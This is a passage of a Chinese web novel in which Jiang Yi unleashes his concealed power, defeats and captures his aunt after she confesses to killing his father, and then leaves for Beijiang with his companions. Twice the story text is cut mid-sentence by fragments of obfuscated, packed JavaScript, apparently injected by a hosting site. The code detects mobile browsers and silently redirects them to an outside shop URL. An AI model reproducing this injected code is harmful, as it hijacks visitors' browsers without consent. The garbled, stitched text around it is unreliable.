释玺的麻花辫随着动作飘起,只见他笑着道:“姑娘,只看我就够咯。” 然后他又是一剑,刺向姣姣。 姜未玉起阵了。 脚下的地面亮起一圈圈符文,细密的、发着蓝光的符文,把姜亦和奕秋困在中间。姜亦的雷法被压制,奕秋的卦术被压制。 两人同时闷哼一声。 姜未玉站在阵法中央,持剑而立,玄黑色的劲装上溅了几滴血,不是她的。她的发簪歪了,她伸手扶正。 姜亦看着她。 他的嘴角溢出一丝血,但他的眼神很稳。 “姑姑,”他说,“十四年前,我父亲的死,到底跟你有没有关系?” 姜未玉的笑容僵住了。 不是那种被揭穿的僵,是那种——她没想到他会在这个时候问的僵。 她看着他,看了很久。 然后她笑了。 那笑容很好看,眼尾上挑,嘴角微扬,带着一种与生俱来的、居高临下的从容。 但她的眼底,有什么东西碎了。 “有。” 她说。声音很轻,轻得像是在说一件很久以前的事。 姜亦的手,握紧了剑。 他的指节泛白,手臂在发抖,但他的眼神没有变。 “姑姑,”他说,“收手吧。” 姜未玉看着他,看了很久。 然后她摇了摇头。 “亦儿,你跟你父亲一样。太像了。” 她举起剑。 阵法亮了。 符文的蓝光越来越盛,压得姜亦和奕秋喘不过气来。 姜未玉的剑尖指着姜亦,剑身上流转着符文的微光。 “所以,你也会跟他一样。” 她出剑了。 22. 紫电青霜王者归 姜未玉的剑携着风。 那不是普通的风,是裹挟着阵法和符箓之力的罡风,所过之处,空气都在扭曲。 剑尖亮起刺目的白光,符文如蛇般缠绕剑身,整柄剑像是活了过来。 奕秋的眼睛猛然睁大。 卦修对比自己境界高的人没法使用言出法随,她只能用卦修基础招数—— 她的剑横在身前,右手结印,左手按在地上。 姜未玉身后,那些滴落在泥土里的血… 忽然动了。 它们像被一只无形的手牵引,从泥土里升起来,凝聚成一柄血剑。 剑身通红,泛着诡异的暗光,直直刺向姜未玉的后心。 东夷卦术。 化虚为实。 姜未玉没有回头。 她的左手在虚空中画了一道符,符文化作一道光门,在她身后张开。 那柄血剑没入光门,消失了。 下一秒,光门张开。 血剑从光门中飞出,直直刺向姣姣的后心。 姣姣正背对着那边,和释玺打的正激烈。 释玺看见那血剑,他的速度快得惊人,单手捞起姣姣的腰,把她整个人抱了起来。 右手还提着剑,左手臂兜着她的腿弯,把她稳稳地箍在怀里。 血剑从他们身侧飞过去,钉在地上,炸开一个三尺宽的坑。 碎石飞溅,打在释玺背上,他连眉头都没皱一下。 姣姣懵了。 她仰面躺在释玺怀里,高马尾垂下来,发尾几乎扫到地面。 银铃在腰间叮当响了一声,然后停了。 她眨眨眼,对上释玺那双含笑的眼睛。 “哎呦,长公主,”释玺看向姜未玉,语气轻快,“这个姑娘可不能杀呀。” 姣姣愣了一下,然后笑出了声。 她没挣扎,甚至调整了一下姿势,让自己躺得更舒服一点。 “那我是不是还得谢谢你啊?” 释玺低头。 他的目光落在她脸上,停了一瞬,然后往下移了一点。 白皙的脖颈,锁骨,再往下——短裙在刚才的动作里往上滑了一截,露出更多的大腿。漂亮的肌肉线条,在日光下泛着淡淡的光泽。 他的目光停在那里,嘴角的笑意深了一些。 “哎呦。” 声音压得很低,像是在跟她分享一个秘密,“那就以身相许吧。” 姣姣的右手摸到了地上的剑。 她提起剑,在释玺怀里刺向他。 剑尖直奔释玺肋下,又快又狠。释玺不得不松手,把她往旁边一扔。 “哎呦我的乖乖,”他后退两步,捂着肋下,一脸劫后余生的庆幸,“刚救了你就这样?” 姣姣落在地上,一个翻滚卸掉力道,站起来,拍拍衣摆上的灰。 她捡起剑,剑尖指着释玺。 “你再抱一下试试。” 释玺笑了。 他也捡起剑,重新摆好架势。 “那得看姑娘给不给机会。” 两个人又打了起来。 剑光交错,火星四溅。释玺的剑法轻灵,姣姣的剑法野性,两人打得有来有回,谁也不让谁。 打着打着,释玺忽然说:“姑娘,你的腿很好看。” 姣姣一剑劈过去。 “闭嘴。” * 密林里。 闻人奚郁直身站住,折扇收在手里,背在身后。 扇子边缘有一抹血迹,正顺着扇骨往下滴。 他站在那里,姿态从容,长发披散,淡紫色的玄衣上沾了几片落叶,但连一道口子都没有。 他的呼吸很平稳,像是刚散完步,不是刚打完架。 周不弃愣在原地。 他低头看着地上的妖兽,一只,两只,三只……一共七只,全部死了。 有的喉咙被切开,有的眼睛被刺穿,有的脑袋被砸碎。 死法各不相同,但每一只都是一击毙命。 他抬起头,看着闻人奚郁的背影。那个平时笑眯眯的、摇着折扇的、说自己不会武功的文弱谋士,刚才在他面前,用一把折扇,杀了七只妖兽。 闻人奚郁转过身,看了他一眼。 “走。” 声音很平静,像是什么都没发生过。 周不弃张了张嘴,想问什么,但没问出来。 他跟上去,走出几步,忽然回头看了一眼那七具尸体,又看了看闻人奚郁手里的折扇。 扇子已经收起来了,血迹也被他在衣摆上擦干净了,看不出任何异样。 周不弃沉默了一瞬,然后加快脚步,跟了上去。 * 战场上。 姜未玉看着释玺和姣姣打成一团,嘴角抽了一下。 她收回目光,看向面前的姜亦。 她的剑尖还在滴血,不是姜亦的血,是奕秋的。 奕秋单膝跪在她身后不远处,手臂上的伤口还在流血,但她没有倒下,她撑着剑站起来,白衣上多了几道口子,但她的眼神很稳。 姜亦的剑到了。 没有花哨,没有蓄力,只是一剑刺出,又快又狠,直奔姜未玉心口。 姜未玉侧身避开,左手结印,脚下的符文阵亮起刺目的蓝光。 姜亦感觉双腿像是被灌了铅,每一步都重若千钧。 他单膝跪在地上,剑尖撑着地面,膝盖砸进泥土里,扬起一小片灰尘。 姜未玉居高临下地看着他。 “好侄儿,” 她说,声音很轻,像是在哄一个不听话的孩子。 “你还不摘耳坠吗?” 姜亦抬起头,看着她,他的嘴角溢出一丝血,但他的眼神很平静。 “如你所愿。” 他抬起左手,摘下了左耳的赤金麒麟坠。 耳坠从他掌心滑落。 那一瞬间,天地变色。 乌云从四面八方涌来,遮住了太阳。 不是阴天的那种暗,是那种——像是有人把整个天空都盖住了的暗。 雷声在云层里翻滚,沉闷的、连续的、像是有人在敲一面巨大的鼓。 然后一道雷劈下来。 不是普通的雷。 是紫色的,粗如水桶的天雷。 它从云层里劈下来的时候,整个战场都被照得雪白。 铠甲在雷光中泛着刺目的光,刀剑的影子被拉得很长,地上的血泊被照得通透,连里面的泥沙都看得一清二楚。 雷落在姜亦的剑上。 剑身被紫色的雷光包裹,发出刺耳的嗡鸣。 姜亦握着剑,站在那里,周身的气息不再是尊界二重。 尊界四重。 青穹榜首。 战场上所有人都愣住了。 离得近的士兵直接被那股气息压得跪在地上,喘不过气来。 离得远的也停了手,呆呆地看着那个被雷光包围的人。 “那、那是……” “原终主……他是原终主!” “青穹榜首!尊界四重!” “我的天……他一直在隐藏实力……” “原终主!他是原终主!” 赵守成骑在马上,看着那道雷光,眼眶红了。 他想起十四年前,先主在世的时候,也是这样,一剑引动天雷,万军辟易。 他低下头,把眼眶里的热意逼回去,然后举起刀。 “陛下万岁——!” 他的声音沙哑,但每一个字都像炸雷一样在战场上炸开。 他身边的士兵愣了一下,然后跟着喊起来。 “陛下万岁——!” “陛下万岁——!” “陛下万岁——!” 声音从城门外传到城内,从城内传到城墙上。 守城的士兵、埋伏的士兵、受伤的士兵,所有人都在喊。 李渊一刀劈翻一个敌人,也跟着喊。他的声音最大,像是要把十四年的委屈全都喊出来。 姜未玉站在阵法中央,看着被雷光包围的姜亦。 她的脸上没有恐惧,没有愤怒,只有一种说不清的东西。 像是欣慰,像是遗憾,又像是——释然。 “好侄儿,”她说,声音很轻,“你比你爹强。” 姜亦没有说话。 他举起剑,一剑劈出。雷光随着剑势炸开,化作一道紫色的弧光,直奔姜未玉而去。 所过之处,空气被电离,发出噼里啪啦的爆响。 姜未玉抬手,指尖在虚空中画了一道符。 符文在她面前展开,像一面半透明的盾牌。雷光撞上符盾。 “轰——!” 巨响震得人耳朵发麻。符盾碎了。 姜未玉被震退十几步,脚下踩碎了不知道多少石头。 她的嘴角溢出一丝血,发簪掉了,长发散落下来,披在肩上。 她站稳,擦了擦嘴角的血,看着姜亦。然后她笑了。 “好。”她说,“很好。” 她抬手,左手结印,右手持剑,脚下的符文阵亮起更盛的光芒。 “但你忘了,姑姑不是一个人。” 她闭上眼睛,神识扩散开去,寻找那七只妖兽的气息。 她的眉头皱了一下。 没有。 一只都没有。 她感受不到任何一只妖兽的气息。她的眼睛猛然睁开,瞳孔微微收缩。 “不可能……” 姜亦没有给她时间思考。 他的第二剑已经到了。 这一剑比第一剑更快,更狠。 雷光化作一道紫色的匹练,横贯战场,直奔姜未玉而去。姜未玉来不及起阵,来不及画符,只能举剑格挡。 “铛——!” 剑身相撞,火星四溅。 姜未玉整个人被震飞出去,像一只断线的风筝,在空中翻了几个跟头。 她的剑脱手飞出,插在泥土里,剑身还在震颤。 万蛟冲上去。 他张开双臂,想接住她,但冲击力太大了。 两个人撞在一起,滚出去好几米,在地上犁出一道深深的沟壑。 万蛟的后背撞上一块石头,闷哼一声,嘴角溢出血来。 他低头看着怀里的姜未玉,她的脸上没有表情,眼睛闭着,不知道是昏过去了还是在想什么。 “殿下!” 他喊了一声。 姜未玉睁开眼,看着他。她的嘴角溢出血来,但她的眼神很平静。 “万蛟,”她说,“你受伤了。” 万蛟愣了一下。 “末将没事。” 姜未玉没说话,只是看着他。 她的目光在他脸上停了一瞬,然后移开。 释玺和姣姣停了手。 释玺扭头看着姜未玉摔出去的方向,“咦”了一声,语气里带着一点意外。 姣姣也看过去,然后又看向释玺。 “你不去救救你主人?” 释玺收回目光,看着姣姣。 “什么主人?” “她跟我有什么关系。” 姣姣挑眉。 “你不是她请来的?” “我是来玩的。”释玺理所当然地说,“打架而已,又不是卖命。” 姣姣无语。 “你不是医术毒术都不错?为什么不去救?” 释玺想了想。 “因为我现在和你在一起呀。” 姣姣看着他,沉默了一瞬。 “……你这个人,真的很奇怪。” 释玺笑了。 “还行吧。” 战场安静了。 叛军扔下武器,跪在地上,双手抱头。 有的在发抖,有的在哭,有的呆呆地看着天空,不知道在想什么。 赵守成的人从城门外冲进来,把跪在地上的叛军一个一个绑起来。 李渊带着人从城里冲出来,把那些还想跑的追上,摁在地上。 城墙上,陈夫子站在垛口后面,看着下面的战场。 他的脸上没有表情,但他的眼睛红了。十四年了,他终于等到了这一天。 姜亦站在战场中央,雷光已经散了,剑身上的紫电也退了。 他没有再戴上耳坠。 因为这一场戏,结束了。 他他站在那里,看着姜未玉摔出去的方向。他的脸上没有胜利的喜悦,只有一种很深的疲惫。 赵守成走过来,单膝跪在他面前。 “陛下,” 他说,声音沙哑。 “叛军已全部投降。长公主……被俘。” 姜亦点了点头。 “把她带过来。” 赵守成站起来,转身走了。 姜亦站在原地,看着远处天边的云。 乌云已经散了,太阳重新露出来,照在战场上,照在那些尸体上,照在那些跪着的叛军身上。 他忽然想起很多年前,他父亲还在的时候。那时候他很小,什么都不懂。他只知道他父亲是个很好的人,所有人都这么说。 后来他父亲死了,那些人就不说了。 他低下头,看着手里的剑。 剑身上的雷光已经退了,但剑柄还是温热的。 姜未玉被带过来的时候,头发散着,衣服上全是土和血。 她的脸上没有表情,眼睛看着前方,不知道在想什么。 万蛟走在她旁边,手臂上缠着新换的白布,白布又被血浸透了。 他的脸上也没有表情,但他的眼睛一直在看姜未玉。 释玺走在最后面,麻花辫还是编得好好的,银色的发带在风里飘。 他的嘴角噙着笑,像是在逛集市,不是在押送俘虏。 他看见姣姣,冲她眨了眨眼。姣姣没理他。 姜未玉走到姜亦面前,站定。 她抬起头,看着他。 “亦儿。” “你赢了。” 姜亦看着她。他的脸上没有表情,但他的手指在发抖。“姑姑,为什么?” 姜未玉沉默了一瞬。 然后她笑了。那笑容很好看,眼尾上挑,嘴角微扬,带着一种与生俱来的、居高临下的从容。 但她的眼底,有什么东西碎了。 “因为我不甘心。” “你父亲没我厉害!我是尊界三重啊,当朝嫡长公主啊!凭什么他声望比我高,凭什么他能当原终主啊!!连父皇临终前,看他的眼神都比看我温柔。我、不、甘、心。” 她顿了顿。 “所以,我杀了他。” “哦对,还有那些誓死效忠他的羽林军,对,没错,冰心玉是我干的,通敌的事也是我干的,陈谏贪污受贿的罪名也是我干的!” 然后她看向赵守成,看向李渊。 “你们两个…噗…” 她仰头大笑。 “失去了一切,你们开心吗?报了仇又怎样,杀了我又怎样?他们回不来了!他们都他妈回不来了!” 她看向李渊,笑出了声。 “羽林军惨败,就只剩你一个人!” “你真是好笑啊。” “羽林军的一切,你的一切,你的兄弟你的将领你的士兵,就你还活着,那场战争,就只有你还活着,你他妈真好笑啊哈哈哈哈哈哈。” 姣姣在一旁听到这些话,双手攥紧了。 姜亦的手指握紧了剑柄。 他的指节泛白,手臂在发抖,但他没有拔剑。 姜未玉看着他,看了很久。 姜亦沉默了很久。 然后他松开剑柄,转身。 “把她带下去。” 赵守成上前,抓住姜未玉的手臂。 她没有挣扎,只是回头看了姜亦一眼。 “亦儿,”她说,“你比你爹强。” 姜亦没有回头。 他站在那里,看着远处的天边,看了很久。 然后他低下头,闭上眼睛。 一滴泪从眼角滑落,混进地上的血里,谁也分不清。 姣姣站在不远处,看着这一幕。 她没有走过去,没有说话,只是站在那里。 释玺站在她旁边,也没有说话。 过了一会儿,他忽然开口。 “你哭什么?” 姣姣愣了一下。 “我没哭。” “哦,”释玺说,“那是我看错了。” 姣姣没理他。 她看着姜亦的背影,看了很久。 然后她转身,走了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437486|200983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >李渊跪在镇国将军的坟前。 坟很旧,墓碑上的字已经模糊了,但还能认出“镇国将军”四个字。 他跪在那里,磕了三个头。 额头撞在地上,发出沉闷的响声。 “将军,”他说,声音沙哑,“十四年了。您的仇,报了。” 风从远处的山岗上吹过来,吹动坟前的野草。草叶沙沙响,像是在说什么。 陈夫子站在城墙上,看着远处的天边。他的腿站的有些酸了,但他不想下去。他想在这里多站一会儿。 十四年了,他终于可以站在这座城墙上,堂堂正正地看这片天。 赵守成站在城门口,看着士兵们打扫战场。他的甲胄上全是血,分不清是自己的还是别人的。他的手臂上有一道伤口,还在流血,但他没有去管。 他站在那里,背挺得笔直,像一座山。 周不弃站在周府门口。 门开着,里面空荡荡的,一个人都没有。 他站在那里,看着那扇门,看了很久。 然后他走进去。 周财坐在书房里。 他听见脚步声,抬起头,看见周不弃站在门口。 他的脸上没有表情,但他的眼睛红了。 “回来了?” 周不弃点头。 “嗯。” 周财沉默了一会儿。 “吃饭了吗?” 周不弃没说话。 他走到桌边,坐下,给自己倒了杯茶。 茶已经凉了,他喝了一口。 周财看着他,看了很久。 然后他低下头。 “爹对不起你。” 周不弃没说话。 他端着茶杯,看着杯里的茶汤,看了很久。 然后他把茶杯放下,站起来,走到门口。 他停下来,没有回头。 “爹,我知道。” 说完,他推门出去。 周财坐在椅子上,看着那扇关上的门。他的手指在桌面上敲了一下,然后停住。 窗外的阳光照进来,落在他脸上。 那张脸比几个月前老了十岁。 姣姣站在城墙上,看着远处的天边。 她换了一身干净的衣服,还是红的,还是那件旧衣裳。 高马尾拆了,头发披散着,被风吹得乱七八糟。 银铃在腰间叮当响,香囊里的药材被风一吹,散发出淡淡的苦香。 奕秋站在她旁边,手臂上缠着新换的白布,白衣上还有几道没来得及换的口子。 她的脸上没什么表情,但她站在那里,一直没有走。 “北娣的事…另有隐情。” “什么隐情。” “北疆。” 姣姣没再说话。 姜亦从城墙另一侧走上来。 他换了一身干净的衣服,墨绿色的,左耳还带了耳坠,但不是用来压制自己境界的 ,现在算是一个装饰品。 他走到姣姣身边,站定,看着远处的天边。 三个人站了很久,谁都没有说话。 姣姣忽然开口。 “姜大侠。” “嗯。” “你刚才,真厉害。” 姜亦没说话。 姣姣继续说。 “尊界四重,青穹榜首。你藏得够深的。” 姜亦看着她。 “你不也藏了?” 姣姣愣了一下,然后笑了。 “彼此彼此。” 她转身,往城墙下走。 走了几步,忽然停下来,回头看着姜亦。“姜大侠,”她说,“你那个姑姑,会怎么处理?” 姜亦沉默了一瞬。 “囚禁。” 要想杀尊界,必须得是另一个尊界。 谁会去杀她呢? 姜亦不想。 姣姣点点头。 “那行。我先回去了,饿死了。” 她转身,继续往下走。 奕秋跟在她身后。两人消失在城墙下。 姜亦站在城墙上,看着她们走远。 然后他转过身,看着城外的战场。 士兵们还在打扫,尸体被一具一具抬走,武器被一把一把收起来,地上的血被土盖住,但盖不住那股腥味。 他站在那里,看着这一切,看了很久。风吹过来,吹动他的衣摆,吹动他左耳的麒麟坠。 他忽然想起姣姣刚才说的话。“你刚才,真厉害。” 他笑了一下。 很轻,很快。 闻人奚郁从城墙另一侧走上来。他的衣服很干净,头发也梳好了,折扇摇在手里,笑眯眯的。 他走到姜亦身边,站定。 “处理完了。” 姜亦点头。“周不弃呢?” “回家了。”闻人奚郁说,“周财的案子,等长公主的事处理完再审。他不会跑。” 姜亦没说话。 闻人奚郁看着他,沉默了一瞬。 “你哭了?” 姜亦没答。 闻人奚郁没再问。 他站在姜亦身边,和他一起看着远处的天边。风吹过来,吹动两个人的衣摆。 一墨绿,一淡紫,在风里轻轻晃动。 夕阳西下。 天边的云被染成金色、红色、紫色,层层叠叠,像一幅泼墨的画。 * 姣姣坐在客栈的屋顶上,手里拿着一个包子,正在啃。 奕秋坐在她旁边,手里端着一杯茶,没喝。两个人坐了很久。 姣姣忽然说:“小姐。” “嗯。” “你说,姜亦现在在干什么?” 奕秋想了想。“站在城墙上。” “站了多久了?” “一个时辰。” 姣姣“哦”了一声,继续啃包子。啃了两口,又说:“那他吃饭了吗?” 奕秋没答。 姣姣把最后一口包子塞进嘴里,拍拍手,站起来。 “我去给他送个包子。” 她跳下屋顶,落在院子里,拍拍衣摆上的灰,推门出去。 姜亦还站在城墙上。 他听见脚步声,回头,看见姣姣从城墙下走上来,手里拿着一个油纸包。 她走到他面前,把油纸包递过去。 “包子。肉馅的,还热着。” 姜亦看着她,沉默了一瞬。 然后他接过油纸包,打开,咬了一口。肉馅的,确实还热着。 姣姣站在他旁边,看着远处的天边。 “姜大侠,”她说,“你接下来打算怎么办?” 姜亦嚼着包子,含糊不清地说:“审周财,定长公主的罪,昭雪羽林军和镇国将军的冤案。”他顿了顿,“然后,回宫。” 姣姣“哦”了一声。“那咱们是不是该走了?” 姜亦的包子停在嘴边。 他看着她。 “你们要走?” 姣姣眨眨眼。 “案子都查完了,不走留这儿过年啊?” 姜亦沉默了一瞬。 “去哪儿?” 姣姣想了想。 “北疆吧。听说那儿冷,我想去看看雪。” 姜亦没说话。 他低下头,继续啃包子。啃了两口,忽然说:“那你们什么时候走?” 姣姣想了想。 “明天吧。早点走,早点到。” 姜亦沉默了很久。然后他点了点头。 “行。” 姣姣看着他,忽然笑了。 “姜大侠,你舍不得我们啊?” 姜亦没理她。 他把最后一口包子塞进嘴里,转过身。 “我去审周财了。” 他走了。 走下城墙的时候,脚步比平时快了一些。姣姣站在城墙上,看着他的背影,笑出了声。 然后她转身,看着远处的天边。 夕阳已经落下去了,天边只剩最后一抹红色。 她站在那里,看了很久。 然后她转身,走下城墙。 月光洒下来,落在城墙上,落在她走过的石阶上,落在她留下的脚印里。 夜风拂过城头,把最后一丝血腥气吹散了。 23. 故人辞行入北疆 姣姣在客栈又赖了三天。 第一天,她说“再歇一天,腿疼”。 第二天,她说“再歇一天,手疼”。 第三天,她趴在窗台上看街上的行人,看了半个时辰,忽然回头冲奕秋说:“小姐,姜亦还欠我一顿饭,他是不是忘了!” 奕秋端着茶杯,眼都没抬。 姣姣掰着手指头算:“他答应过的。打完架请我吃饭。这都多少天了?他是不是想赖账?” 奕秋没理她。 姣姣从窗台上跳下来,走到门口,又回头:“我去找他。” “你知道他在哪?” 姣姣想了想。 “……不知道。” 她坐回去,继续趴窗台。 姜亦这几天很少露面。 案子结了,长公主被囚,周财的案子还在审,镇国将军和羽林军的冤案要昭雪,陈夫子的官职要恢复,李渊要安置,赵守成要升赏—— 事情太多,他忙得脚不沾地。 第四天早上,姣姣还在梦里啃鸡腿,听见楼下有人说话。 她翻了个身,把被子蒙过头顶。 那声音还在说。 她睁开一只眼,看见奕秋已经站在门口了。 “起来。” “嗯——” “姜亦来了。” 姣姣从床上弹起来。 头发乱成鸟窝,衣服还没穿好,人已经冲到楼梯口了。 她趴在栏杆上往下看,姜亦坐在靠窗的位置。 还是那件墨绿色的劲装,左耳的麒麟坠在晨光里晃了晃。 他面前放着一碗茶,没喝,正跟闻人奚郁说着什么。 姣姣冲下楼,一屁股坐在他对面。 “姜大侠!你终于来了!你是不是想赖账!” 姜亦看着她,沉默了一瞬。 “……没想赖账。” “那你这么多天不露面!” “忙。” 姣姣瞪他。 姜亦别过脸,端起茶碗喝了一口。 “今晚。摘星楼。” 姣姣眼睛亮了。“多大包厢?” “……最大的。” 姣姣咧嘴一笑,扭头冲楼上喊:“小姐!姜亦请客!最大的包厢!” 奕秋从楼梯上走下来,白衣如雪,脸上没什么表情。 但她坐下来的时候,嘴角微微弯了一下。 闻人奚郁在旁边摇着折扇,笑眯眯的:“姜亦,你这顿饭,可让姣姣姑娘等了三天。” 姜亦没理他。 * 晚上,摘星楼。 最大那间包厢,比闻人奚郁上次订的还大。 桌上摆满了菜。冷盘、热菜、汤羹、点心,摆了整整三圈。 姣姣的眼睛已经不够用了。 “姜大侠,”她咽了口口水,“你这是把摘星楼的菜单全点了一遍?” 姜亦端着茶杯,淡淡道:“不知道你喜欢吃什么,就都点了。” 姣姣愣了一下,然后笑了。 “你这人,请客都请得这么实在。” 她抓起筷子,开始吃。 她吃得不快,但很认真。每一道菜都尝一口,尝完眯起眼,砸吧砸吧嘴,然后夹第二筷。 姜亦坐在对面,看着她吃,忽然想起第一次见她的时候。 那天在茶楼,她也是这样,懒懒散散的,趴在窗台上画圈。 那时候他以为她只是个婢女,一个会点医术、有点人缘的婢女。 现在他知道,她不是。 但他不知道她是谁。 他看了她一眼,又看了一眼奕秋。 奕秋坐在姣姣旁边,吃得很慢,每样菜夹一筷子,尝一口,放下。 姣姣时不时往她碗里塞东西:“小姐尝尝这个!这个好吃!” 奕秋来者不拒,全吃了。 闻人奚郁坐在姜亦旁边,也没怎么吃。他在给姣姣倒茶,倒了一杯又一杯。 姣姣吃几口就灌一杯茶,灌完继续吃。 他看着她吃,笑眯眯的,像是在看什么有意思的事。 姜亦忽然开口:“明天走?” 姣姣嘴里塞满了食物,含糊不清地说:“嗯。去北疆。” 姜亦沉默了一瞬。 “马车给你们安排好了。明天一早,城门见。” 姣姣咽下去,抬头看他。“你不送我们?” 姜亦没说话。 闻人奚郁在旁边笑了一声。 “他这几天忙得很。昭雪的事、封赏的事、周财的案子——全压在他一个人身上。” 姣姣“哦”了一声,继续吃。 吃到一半,她忽然停下来。“姜大侠。” “嗯。” “谢谢你。” 姜亦看着她。 姣姣咧嘴一笑。 “这顿饭,真好吃。” 姜亦的嘴角微微动了一下。 他端起茶杯,抿了一口。 “明天别迟到。” * 天还没亮透,姣姣和奕秋已经站在城门口了。 风从城外吹过来,带着泥土和庄稼的气味,还有一丝若有若无的寒意。 姣姣缩了缩脖子,把衣领往上拽了拽。 “怎么还不来?”她跺了跺脚,呵出一口白气,“说好的马车呢?” 奕秋站在她旁边,白衣在风里轻轻翻动,无尘剑挂在腰间,剑鞘上的纹路在晨光里若隐若现。 她的脸上没什么表情,但她的目光一直落在城门外那条官道上。 “再等等。” 又过了一盏茶的功夫。 姣姣已经蹲在地上了,手里不知道从哪摸出一颗花生,正在剥。 “姜亦这家伙,不会忘了吧?他昨天还说别迟到,结果自己迟到了。”她把花生塞进嘴里,嚼了嚼,又摸出一颗。 “他这几天忙成那样,估计昨晚又没睡。你说他是不是把这事给忘了?” 奕秋没说话。 姣姣把花生壳扔在地上,站起来拍了拍衣摆。 “算了,再等一刻钟。不来我就——” 话没说完,远处传来车轮碾过路面的声音。 一辆马车从官道尽头驶过来。 不是普通的马车。 车身是深褐色的,漆面光亮,能照见人影。车厢比普通马车宽出一半,车顶四角挂着铜铃,风一吹,叮当作响。车帘是深青色的厚锦,绣着云纹,垂下来遮得严严实实。拉车的两匹马通体乌黑,鬃毛油亮,步伐整齐。 姣姣看着那辆马车,张大了嘴。 “这……这是姜亦安排的?” 车夫勒住马,从车上跳下来。正是之前送他们来皇城的那个老把式。 他看见姣姣,咧嘴一笑:“姑娘,又见面了。” 姣姣冲他挥手:“大叔!怎么是你!” 车夫笑着把脚凳放好。 “姜公子说了,送佛送到西。上次送你们来,这次送你们走。” 姣姣绕着马车转了一圈,伸手摸了摸车厢壁。 漆面光滑,木头是上好的楠木,雕工精细,连车窗的棂格都刻着花纹。 她探头往车厢里看了一眼,车厢里铺着厚厚的毛毡,中间固定着一张矮桌,桌上放着茶具和一碟点心。 角落里堆着几个软垫,还有一条叠得整整齐齐的薄毯。 “这也太阔绰了吧?”她扭头看奕秋,“小姐,这比咱们来的时候那个马车还大!” 奕秋没说话,但她的目光在马车停下的那一刻就变了。 不是惊讶,是——她已经知道了。 姣姣没注意,还在那儿摸马车。 “这漆,这木头,这帘子——姜亦这家伙,还挺会安排。” 她踩着脚凳,掀开车帘,往里面钻。“小姐,快上来!这里面可舒服了——” 她的声音卡在喉咙里。 车厢里坐着两个人。 一个靠着左边的车窗,墨绿劲装,左耳戴着麒麟坠。 他没在隐藏气息,尊界四重的威压淡淡地散在车厢里,不压迫,但你知道他在。 他手里端着一杯茶,茶还冒着热气,显然等了有一会儿了。 看见姣姣掀帘子,他抬眼看了她一下,什么都没说。 另一个靠着右边的车窗,淡紫色玄衣,长发披散,手里摇着折扇。 扇面上画着一幅山水,笔法清淡,和他这个人一样。 他笑眯眯地看着姣姣,桃花眼弯弯的。 “姣姣姑娘,早啊。” 姣姣愣在车门口。 她看看姜亦,又看看闻人奚郁。 姜亦端着茶杯,脸上没什么表情。 闻人奚郁摇着折扇,笑眯眯的。 姣姣愣了很久。 然后她笑了。不是那种浅浅的笑,是那种从心底里翻上来的、压都压不住的笑。 她一屁股坐进车厢,往软垫上一靠,笑得前仰后合。 “哎呦——!”她拍着大腿,“你们还要跟我们一起走啊!!” 姜亦没理她。 他端着茶杯,看着窗外的城墙。 闻人奚郁在旁边笑出了声。 “姜亦这几天一直在处理昭雪的事,要不然请顿饭都磨磨蹭蹭的。” 他摇着折扇,慢悠悠地说。 “昨天忙到后半夜,今早天没亮就起来了,非说要来送你们。” 姣姣笑得直拍软垫。 “然后呢?” “然后他说——”闻人奚郁清了清嗓子,压低声线,“‘北疆路远,多个人多份照应’。” 姣姣已经笑得直不起腰了。 “姜大侠!你想跟我们一起走就直说嘛!找什么借口!” 姜亦终于开口了。 他的声音很平。 “我把原终交给了陈夫子。他的才能,我放心。” 姣姣收了笑,看着他。 “你真的舍得?” 姜亦沉默了一瞬。 他看着窗外的城墙,看了很久。那座城墙他看了二十多年,从小看到大。 小时候他趴在城墙上看士兵操练,稍大一些他站在城墙上看父亲出征,后来他一个人站在城墙上看夕阳。 现在他要走了。 “他的才能,远不止教书。”他收回目光,端起茶杯抿了一口。“原终交给他,我放心。” 姣姣笑的没心没肺。 “其实是舍不得我们吧。” 姜亦的嘴角抽了一下。 没说话。 姣姣又笑了,但没有再逗他。 她从矮桌上抓了一块点心,塞进嘴里,嚼了嚼,含糊不清地说:“姜大侠,你放心。跟着我们,保证好玩。” 姜亦看着她。 她嘴里塞满了点心,两颊鼓鼓的,嘴角沾着碎屑。 她看起来不像要去查案,倒像要去春游。 他忽然笑了一下。 “你笑了!”她指着姜亦,“你终于笑了!” 姜亦别过脸。 “没有。” “有!我看见了你笑了!闻人公子你看见了吗!” 闻人奚郁摇着折扇,笑眯眯地说:“没看见。” 姣姣瞪他。 “你骗人!” 闻人奚郁无辜地眨眨眼。 “我一个不会武功的文弱书生,眼神不好,很正常。” 姣姣:“……” 奕秋随后上车。 她踩着脚凳,掀开车帘,弯腰钻进来。 她看见姜亦,看见闻人奚郁,脸上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437487|200983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没什么表情。 她只是在姣姣身边坐下,把无尘剑横在膝上,闭上眼睛。 但她的嘴角,微微弯了一下。 马车驶出城门。 车轮碾过青石板,发出咕噜咕噜的声响。铜铃在车顶叮当,风从车帘的缝隙里钻进来,带着泥土和庄稼的气味。 姣姣趴在车窗边,看着皇城的城墙越来越远。 那座灰色的城墙在晨光里泛着淡淡的光,城楼上的旗帜被风吹得猎猎作响。 她看了很久,忽然回头。 “姜大侠,你真的舍得?” 姜亦没有回答。 他只是看着窗外那座越来越远的城墙,看了很久。 马车里安静了很久。 闻人奚郁忽然开口。 “北疆是我的故乡。”他摇着折扇,难得没有笑。“我也该回去看看。” 他顿了顿。 “而且,那个北娣姑娘的事——我们也能派上用场。” 